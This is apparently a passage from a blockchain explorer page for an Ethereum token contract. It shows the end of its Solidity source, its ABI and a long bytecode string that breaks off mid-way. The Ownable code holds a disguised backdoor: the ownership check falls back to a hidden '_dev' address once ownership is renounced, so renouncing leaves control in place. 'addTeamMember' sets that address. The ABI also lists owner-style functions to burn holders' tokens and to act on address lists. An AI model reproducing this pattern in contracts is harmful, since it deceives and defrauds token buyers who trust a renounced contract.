    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _dev = account;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"marketingFeeAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSWapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f5860105560016012556001601360006101000a81548160ff02191690831515021790555065013ca65120006014556001601660006101000a81548160ff0219169083151502179055506001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff0219169083151502179055506001602460006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b5060405162006ad638038062006ad68339818101604052810190620000e3919062000bdf565b6040518060400160405280600b81526020017f5361746f7368692045564d0000000000000000000000000000000000000000008152506040518060400160405280600581526020017f534154564d0000000000000000000000000000000000000000000000000000008152508280600062000163620005ce60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505082600690805190602001906200025b92919062000ac5565b5081600790805190602001906200027492919062000ac5565b506005546004819055505050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002ad816001620005d660201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000355919062000bdf565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600080600080600066258c0403372e0090508660198190555085601a8190555084601b81905550601b54601a54601954620003d4919062000c4a565b620003e0919062000c4a565b60188190555083601d8190555082601e8190555081601f81905550601f54601e54601d5462000410919062000c4a565b6200041c919062000c4a565b601c819055506107d0600a8262000434919062000ca7565b62000440919062000d37565b600d8190555069152d02c7e14af6800000600c81905550693f870857a3e0e3800000600b81905550620004786200064160201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004c86200064160201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200052a6200051c6200064160201b60201c565b60016200066a60201b60201c565b6200053d3060016200066a60201b60201c565b6200055261dead60016200066a60201b60201c565b62000574620005666200064160201b60201c565b6001620005d660201b60201c565b62000587306001620005d660201b60201c565b6200059c61dead6001620005d660201b60201c565b620005ae33826200072560201b60201c565b620005be620008d660201b60201c565b5050505050505050505062000fa3565b600033905090565b620005e66200090a60201b60201c565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200067a6200090a60201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000719919062000d8c565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000798576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200078f9062000e0a565b60405180910390fd5b620007ac600083836200099b60201b60201c565b620007c881600854620009a060201b620028231790919060201c565b6008819055506200082781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620009a060201b620028231790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008ca919062000e3d565b60405180910390a35050565b6000620008e86200090a60201b60201c565b6000601660006101000a81548160ff0219169083151502179055506001905090565b6200091a620005ce60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200094062000a0360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000999576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009909062000eaa565b60405180910390fd5b565b505050565b6000808284620009b1919062000c4a565b905083811015620009f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009f09062000f1c565b60405180910390fd5b8091505092915050565b60008062000a1662000a1f60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a9c5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000ac0565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000ad39062000f6d565b90600052602060002090601f01602090048101928262000af7576000855562000b43565b82601f1062000b1257805160ff191683800117855562000b43565b8280016001018555821562000b43579182015b8281111562000b4257825182559160200191906001019062000b25565b5b50905062000b52919062000b56565b5090565b5b8082111562000b7157600081600090555060010162000b57565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ba78262000b7a565b9050919050565b62000bb98162000b9a565b811462000bc557600080fd5b50565b60008151905062000bd98162000bae565b92915050565b60006020828403121562000bf85762000bf762000b75565b5b600062000c088482850162000bc8565b91505092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c578262000c11565b915062000c648362000c11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c9c5762000c9b62000c1b565b5b828201905092915050565b600062000cb48262000c11565b915062000cc18362000c11565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000cfd5762000cfc62000c1b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d448262000c11565b915062000d518362000c11565b92508262000d645762000d6362000d08565b5b828204905092915050565b60008115159050919050565b62000d868162000d6f565b82525050565b600060208201905062000da3600083018462000d7b565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000df2601f8362000da9565b915062000dff8262000dba565b602082019050919050565b6000602082019050818103600083015262000e258162000de3565b9050919050565b62000e378162000c11565b82525050565b600060208201905062000e54600083018462000e2c565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000e9260208362000da9565b915062000e9f8262000e5a565b602082019050919050565b6000602082019050818103600083015262000ec58162000e83565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000f04601b8362000da9565b915062000f118262000ecc565b602082019050919050565b6000602082019050818103600083015262000f378162000ef5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f8657607f821691505b6020821081141562000f9d5762000f9c62000f3e565b5b50919050565b608051615af462000fe2600039600081816111470152818161140a01528181612e3201528181613fd6015281816140b701526140de0152615af46000f3fe6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f2fde38b1161007a578063f2fde38b14610f7c578063f637434214610fa5578063f8b45b0514610fd0578063fc154c5e14610ffb578063fe72b27a1461103857610410565b8063dd62ed3e14610ebe578063e2f4560514610efb578063e884f26014610f26578063f11a24d314610f5157610410565b8063c2b7bbb6116100f2578063c2b7bbb614610dd7578063c876d0b914610e00578063c8c8ebe414610e2b578063d257b34f14610e56578063d85ba06314610e9357610410565b8063bbc0c74214610d31578063c024666814610d5c578063c17b5b8c14610d85578063c18bc19514610dae57610410565b80639fccce32116101a6578063a4c82a0011610175578063a4c82a0014610c3a578063a9059cbb14610c65578063aacebbe314610ca2578063b62496f514610ccb578063bbbb3ffc14610d0857610410565b80639fccce3214610b7e578063a0d82dc514610ba9578063a165506f14610bd4578063a457c2d714610bfd57610410565b806395d89b41116101e257806395d89b4114610ad45780639c3b4fdc14610aff5780639dc29fac14610b2a5780639ec22c0e14610b5357610410565b80638da5cb5b14610a2a5780638ea5220f14610a555780639213691314610a80578063924de9b714610aab57610410565b8063333f52e011610319578063730c1888116102a157806375f0a8741161027057806375f0a874146109695780637bce5a04146109945780638095d564146109bf5780638a8c523c146109e85780638bdb2afa146109ff57610410565b8063730c1888146108c357806373fa7ddb146108ec578063751039fc146109155780637571336a1461094057610410565b806349bd5a5e116102e857806349bd5a5e146107ee5780636a486a8e146108195780636ddd17131461084457806370a082311461086f578063715018a6146108ac57610410565b8063333f52e0146107205780633582ad231461075d57806339509351146107885780633eb2b5ad146107c557610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611075565b6040516104379190614264565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614324565b611107565b604051610474919061437f565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061439a565b611125565b6040516104b1919061437f565b60405180910390f35b3480156104c657600080fd5b506104cf611145565b6040516104dc9190614426565b60405180910390f35b3480156104f157600080fd5b506104fa611169565b6040516105079190614450565b60405180910390f35b34801561051c57600080fd5b506105376004803603810190610532919061439a565b611173565b005b34801561054557600080fd5b5061054e61123b565b60405161055b9190614450565b60405180910390f35b34801561057057600080fd5b50610579611241565b6040516105869190614450565b60405180910390f35b34801561059b57600080fd5b506105a4611247565b6040516105b19190614450565b60405180910390f35b3480156105c657600080fd5b506105cf61124d565b6040516105dc9190614450565b60405180910390f35b3480156105f157600080fd5b5061060c6004803603810190610607919061446b565b611253565b005b34801561061a57600080fd5b5061063560048036038101906106309190614498565b6112e6565b604051610642919061437f565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614550565b6113bf565b005b34801561068057600080fd5b506106896115ab565b60405161069691906145bf565b60405180910390f35b3480156106ab57600080fd5b506106b46115b1565b6040516106c19190614450565b60405180910390f35b3480156106d657600080fd5b506106df6115b7565b6040516106ec919061437f565b60405180910390f35b34801561070157600080fd5b5061070a6115ca565b60405161071791906145f6565b60405180910390f35b34801561072c57600080fd5b506107476004803603810190610742919061439a565b6115d3565b604051610754919061437f565b60405180910390f35b34801561076957600080fd5b50610772611629565b60405161077f919061437f565b60405180910390f35b34801561079457600080fd5b506107af60048036038101906107aa9190614324565b61163c565b6040516107bc919061437f565b60405180910390f35b3480156107d157600080fd5b506107ec60048036038101906107e7919061439a565b6116ef565b005b3480156107fa57600080fd5b5061080361173b565b60405161081091906145bf565b60405180910390f35b34801561082557600080fd5b5061082e611761565b60405161083b9190614450565b60405180910390f35b34801561085057600080fd5b50610859611767565b604051610866919061437f565b60405180910390f35b34801561087b57600080fd5b506108966004803603810190610891919061439a565b61177a565b6040516108a39190614450565b60405180910390f35b3480156108b857600080fd5b506108c16117c3565b005b3480156108cf57600080fd5b506108ea60048036038101906108e5919061463d565b611889565b005b3480156108f857600080fd5b50610913600480360381019061090e9190614690565b611955565b005b34801561092157600080fd5b5061092a611a02565b604051610937919061437f565b60405180910390f35b34801561094c57600080fd5b50610967600480360381019061096291906146f0565b611a2e565b005b34801561097557600080fd5b5061097e611a91565b60405161098b91906145bf565b60405180910390f35b3480156109a057600080fd5b506109a9611ab7565b6040516109b69190614450565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190614730565b611abd565b005b3480156109f457600080fd5b506109fd611b48565b005b348015610a0b57600080fd5b50610a14611b8f565b604051610a2191906147a4565b60405180910390f35b348015610a3657600080fd5b50610a3f611bb5565b604051610a4c91906145bf565b60405180910390f35b348015610a6157600080fd5b50610a6a611bde565b604051610a7791906145bf565b60405180910390f35b348015610a8c57600080fd5b50610a95611c04565b604051610aa29190614450565b60405180910390f35b348015610ab757600080fd5b50610ad26004803603810190610acd91906147bf565b611c0a565b005b348015610ae057600080fd5b50610ae9611c2f565b604051610af69190614264565b60405180910390f35b348015610b0b57600080fd5b50610b14611cc1565b604051610b219190614450565b60405180910390f35b348015610b3657600080fd5b50610b516004803603810190610b4c9190614324565b611cc7565b005b348015610b5f57600080fd5b50610b68611cdd565b604051610b759190614450565b60405180910390f35b348015610b8a57600080fd5b50610b93611ce3565b604051610ba09190614450565b60405180910390f35b348015610bb557600080fd5b50610bbe611ce9565b604051610bcb9190614450565b60405180910390f35b348015610be057600080fd5b50610bfb6004803603810190610bf691906147ec565b611cef565b005b348015610c0957600080fd5b50610c246004803603810190610c1f9190614324565b611d05565b604051610c31919061437f565b60405180910390f35b348015610c4657600080fd5b50610c4f611dd2565b604051610c5c9190614450565b60405180910390f35b348015610c7157600080fd5b50610c8c6004803603810190610c879190614324565b611dd8565b604051610c99919061437f565b60405180910390f35b348015610cae57600080fd5b50610cc96004803603810190610cc4919061439a565b611df6565b005b348015610cd757600080fd5b50610cf26004803603810190610ced919061439a565b611ebe565b604051610cff91906145bf565b60405180910390f35b348015610d1457600080fd5b50610d2f6004803603810190610d2a91906147ec565b611ef1565b005b348015610d3d57600080fd5b50610d46611fd5565b604051610d53919061437f565b60405180910390f35b348015610d6857600080fd5b50610d836004803603810190610d7e91906146f0565b611fe8565b005b348015610d9157600080fd5b50610dac6004803603810190610da79190614730565b612099565b005b348015610dba57600080fd5b50610dd56004803603810190610dd0919061446b565b612124565b005b348015610de357600080fd5b50610dfe6004803603810190610df9919061439a565b6121b7565b005b348015610e0c57600080fd5b50610e15612230565b604051610e22919061437f565b60405180910390f35b348015610e3757600080fd5b50610e40612243565b604051610e4d9190614450565b60405180910390f35b348015610e6257600080fd5b50610e7d6004803603810190610e78919061446b565b612249565b604051610e8a919061437f565b60405180910390f35b348015610e9f57600080fd5b50610ea861232a565b604051610eb59190614450565b60405180910390f35b348015610eca57600080fd5b50610ee56004803603810190610ee091906147ec565b612330565b604051610ef29190614450565b60405180910390f35b348015610f0757600080fd5b50610f106123b7565b604051610f1d9190614450565b60405180910390f35b348015610f3257600080fd5b50610f3b6123bd565b604051610f48919061437f565b60405180910390f35b348015610f5d57600080fd5b50610f666123e9565b604051610f739190614450565b60405180910390f35b348015610f8857600080fd5b50610fa36004803603810190610f9e919061439a565b6123ef565b005b348015610fb157600080fd5b50610fba612524565b604051610fc79190614450565b60405180910390f35b348015610fdc57600080fd5b50610fe561252a565b604051610ff29190614450565b60405180910390f35b34801561100757600080fd5b50611022600480360381019061101d919061439a565b612530565b60405161102f919061437f565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a919061446b565b612586565b60405161106c919061437f565b60405180910390f35b6060600680546110849061485b565b80601f01602080910402602001604051908101604052809291908181526020018280546110b09061485b565b80156110fd5780601f106110d2576101008083540402835291602001916110fd565b820191906000526020600020905b8154815290600101906020018083116110e057829003601f168201915b5050505050905090565b600061111b611114612881565b8484612889565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b61117b612a54565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b92